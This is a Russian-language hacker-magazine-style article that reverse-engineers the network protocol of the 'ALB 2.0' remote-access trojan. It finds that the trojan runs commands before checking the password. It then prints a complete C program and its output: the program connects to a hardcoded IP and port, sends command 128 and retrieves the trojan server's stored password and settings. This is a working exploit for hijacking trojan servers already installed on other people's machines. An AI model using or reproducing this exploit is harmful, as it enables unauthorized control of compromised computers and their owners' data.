Продолжаем ломать ALB. Сегодня наш пациент - вторая версия.
Для начала хотелось бы процитировать высказывание господина Crypta о предыдущей статье:
"Не статья а говно. В версии ALB 2.0 ты ничего своим софт-айсом уже не расковыряешь....пробуй".
"Статья - дерьмо" - это более чем неоригинальное высказывание, тут он ничем не отличается от самых отмороженных читателей ксакепа, которых он за что-то презирает 😉 Но зато Crypt опрометчиво признается, что там есть что раскапывать, и я решил попробовать.
Для начала поставим бряк на функции send и recv в адресном пространстве процесса scandisk и посмотрим,
о чем же мило беседуют сервер с клиентом. Надо сказать, что автор в этой версии трояна работает
с сокетами уже не через визуальные компоненты, а напрямую через winsock. Работает довольно криво,
хотя это - отдельная история.
Общение происходит по текстовому протоколу, кусок данных - это один пакет (видимо, автор
не слышал о возможности фрагментации при передаче, впрочем, в данном случае это непринципиально).
Сначала клиент шлет запрос:
24!?!:*1.3
Первое число здесь - код команды, далее идет сигнатура "!?!:*", и дальше - какие-то параметры.
На попытку подсоединения сервер отвечает:
99!?!:*
и какую-то абракадабру, возможно - русский текст в какой-то кодировке, лень проверять
После этого клиент понимает, что сервер запаролен, и выводит окошко "введите пароль". Спросив
пароль, клиент посылает его серверу:
100:?!?:*password
На что сервер отвечает: 101:?!?:*абракадабра - если пароль неверный, или 24?!?:*2.0 - если верный
(последнее, очевидно, версия сервера трояна).
Заглянув в ассемблерный код сервера, мы видим примерно такие преобразования: число из запроса
переводится из текстового вида в десятичный и затем идет серия сравнений, очевидно, выглядевшая
на Delphi примерно так:
if code=24 then begin
// hello routine
end;
...
if code=100 then begin
// autorization routine
end;
if code=... then begin
// ...
end;
...
Причем еще на этапе проверки пароля выполняются все сравнения code и функций, что наводит на
нехорошие подозрения... Кажется, для вызова любой функции процедуру авторизации проходить не
обязательно 🙂 Я не знаю, сделал ли это создатель по глупости или специально, чтобы оставить
неявный "черный ход", но я бы не сказал, что "черный ход" получился жутко неявным.
Что ж, попробуем вызвать такую интересную функцию, как получение текущего
пароля сервера. Подсоединившись к трояну, используя известный нам пароли, и исследуя
передаваемые функциям send и recv параметры, мы видим, что она выглядит так:
128?!?:* На что мы получаем ответ из нескольких строчек, содержащих какую-то лабуду и пароль.
А сейчас мы напишем простенькую программку, получающую пароль из IP и номера порта (программа
на сях, любители дельфей - звиняйте):
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
int sendstr(int sock,char *str){
return send(sock,str,strlen(str),0);
}
int main(){
WSAData wsa;
int sock;
struct sockaddr_in sa;
int r;
char buf[100];
WSAStartup(0x202,&wsa);
sock=socket(AF_INET,SOCK_STREAM,0);
sa.sin_family=AF_INET;
sa.sin_addr.s_addr=inet_addr("10.0.0.138");
sa.sin_port=htons(47891);
r=connect(sock,(struct sockaddr*)&sa,sizeof(struct sockaddr));
printf("connect()=%d\n",r);
sendstr(sock,"128!?!:*");
r=recv(sock,buf,100,0);
if(r<1)exit(0);
buf[r]=0;
printf("%s\n",buf);
}
Адрес сервера и порт забиты в программу при компиляции. После запуска она выводит:
connect()=0 - сообщение самой программы, что подсоединение успешно
128!?!:*0 - код ответа + хз что
smtp.server.ru - настройки трояна
0 - хз что это
lalala - а вот и пароль к серверу...
0 - хз что это
0 - хз что это
Господа создатели элитных троянов против ламеров! Хватит выпендриваться! Заюзайте хеш, в
конце концов...